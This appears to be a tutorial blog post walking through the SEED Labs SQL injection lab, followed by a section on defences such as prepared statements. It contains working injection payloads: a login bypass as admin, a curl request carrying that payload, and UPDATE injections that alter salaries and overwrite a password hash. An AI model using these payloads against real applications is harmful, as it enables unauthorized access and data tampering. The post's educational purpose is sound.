SQL (Structured Query Language) is a programming language that is used to create and manage a relational database. SQL is used to perform tasks such as querying data, inserting data, and modifying data in a database.
SQL allows users to define and manipulate structured data and perform operations like INSERT, UPDATE, DELETE, SELECT, and JOIN on that data. It provides various commands, known as statements, to interact with the database. Popular databases that make use of SQL include:
-
Oracle Database
-
Microsoft SQL Server
-
MySQL
-
PostgreSQL
-
SQLite
-
MariaDB
To perform any transaction on a database, one would need to get a shell. To get a shell on the MySQL database, one can login with the command below:
mysql -u <username> -p
After login, to view the existing databases, we issue the command:
show databses; or
show schemas;
To load an existing database, we issue the command:
use <database>;
Once the database has been loaded, to view the existing tables, we issue the command:
show tables;
To view all the columns within a particular table, we issue the command:
show columns from <table_name>; or
describe <table>;
To view all data within the columns of a particular table, we issue the command:
select * from <table_name>;
To view all data from some columns within a particular table, we issue the command:
select <column_name>,<column_name> from <table_name>;
SQL injection (SQLi) is a type of security vulnerability in which an attacker can exploit a website or web application by injecting malicious SQL code into the website or web application that then passes it on to the database.
SQLi is a serious security vulnerability that can have severe consequences, such as unauthorized access, exposure of sensitive information, modification of date, and deletion of data. It can lead to financial losses, reputation damage, legal repercussions, and even complete system compromise in some cases.
Some notable cases of SQLi attacks over the years include:
-
The Heartland Payment Systems data breach (2008)
-
TalkTalk data breach (2015)
-
Yahoo data breaches (2013–2014)
-
Ashley Madison data breach (2015)
-
Equifax data breach (2017)
-
Sony PlayStation Network data breach (2011):
SeedLabs: SQL Injection Attack Lab
SQL Injection Attack on SELECT Statement
This task involves trying to use SQLi to gain access to all employee profiles. We know that the username for the administrator is admin, but we do not know the password.
To gain access to the profile portal using SQLi, the following query will be used as the username:
admin --
If we notice the url bar, we see that the server submits the form using a GET request at the address http://www.seed-server.com/unsafe_home.php.
We can attempt to use the command line to perform the same SQLi we performed above. To do so, the following query will be used on the command line via curl:
curl --get --data-urlencode "username=admin' -- " http://www.seed-server.com/unsafe_home.php
SQL Injection Attack on UPDATE Statement
This task involves trying to use SQLi to change data on the employee profiles. For this task, I assume the user, Alice.
After viewing the employee profiles, Alice is not happy with her salary information, so she decides to do something about it.
To modify her salary information, the following query will be used as the nickname:
', salary=200000 WHERE eid=10000 --
When she reviews the employee profiles, she can indeed confirm that the attack was successful.
Alice is angry at her boss, Boby, and decides to punish him by reducing his salary to 1 dollar. To modify Boby’s salary information, the following query will be used as the nickname:
', salary=1 WHERE eid=20000 --
When she reviews the employee profiles, she can indeed confirm that the attack was successful.
After changing Boby’s salary, Alice is still disgruntled, so she decides to change his password so she can log into his account and do further damage.
When applications save passwords, they do not save the plaintext; rather, they save the hashed value. When a user wants to log in, the user provides the password, and the application hashes the provided password and compares it with the hashed value in the database.
Alice somehow got her hands on the information that the web application uses SHA1 encryption to hash passwords saved in the database. So, to modify Boby’s password, she will have to save the hashed value of the password to the database using SQLi.
Alice first needs to choose a password. She decides to go with “bobhasbeenaverybadboss”. Next, she needs to get the SHA1 sum. To do that, she uses the below command:
echo -n bobhasbeenaverybadboss | sha1sum
This gives us the SHA1 value of 1a0cbc5ac9747750820ca7c205be98d91e053ba4
To change Boby’s password, the following query will be used as the nickname:
', password='1a0cbc5ac9747750820ca7c205be98d91e053ba4' WHERE eid=20000 --
Now to confirm that the attack was indeed successful, she decides to log in to Boby’s account.
Defending Against SQLi
As with common web vulnerabilities, the main issue that gives rise to the SQLi vulnerability is that user-supplied data is mixed with code. This inadvertently means that the user can also supply additional code to be processed while supplying data to the web application.
There are several countermeasures that can be put in place to guard against SQLi, one of them is using “prepared statements.”.
Prepared statements are a feature that allows the Database Management System (DBMS) to pre-compile an SQL statement and store it in a cache for later use. This pre-compiled statement has the complete query but with the values to be queried substituted out for placeholders. When it is time for the pre-compiled statement to be actually executed, the DBMS swaps out the placeholders for the actual values. Now this defends against SQLI because the DBMS will treat the supplied values as ordinary data and look for that data in the database. Without prepared statements, the DMSA will treat the supplied values as SQL code to run or data to query in the database, depending on the syntax.
Other countermeasures that can be put in place to guard against SQLi include:
-
Input validation: this involves checking user inputs against predefined patterns to ensure that they do not contain malicious characters.
-
Encoding and escaping: this involves applying proper input encoding and escaping techniques to neutralize special characters within user input.
-
Adhering to secure coding practices and conducting regular security testing.
-
Proper error handling: this involves either displaying generic error messages to users, thus avoiding specific information about the database or server structure, or not displaying an error message at all.
In summary, SQLi is a security vulnerability that allows an attacker to manipulate a database by injecting malicious SQL code into a web application’s database. By implementing these preventive measures, the risk of SQL injection attacks can be significantly reduced, ensuring the security and integrity of an application’s database.
Thanks for reading.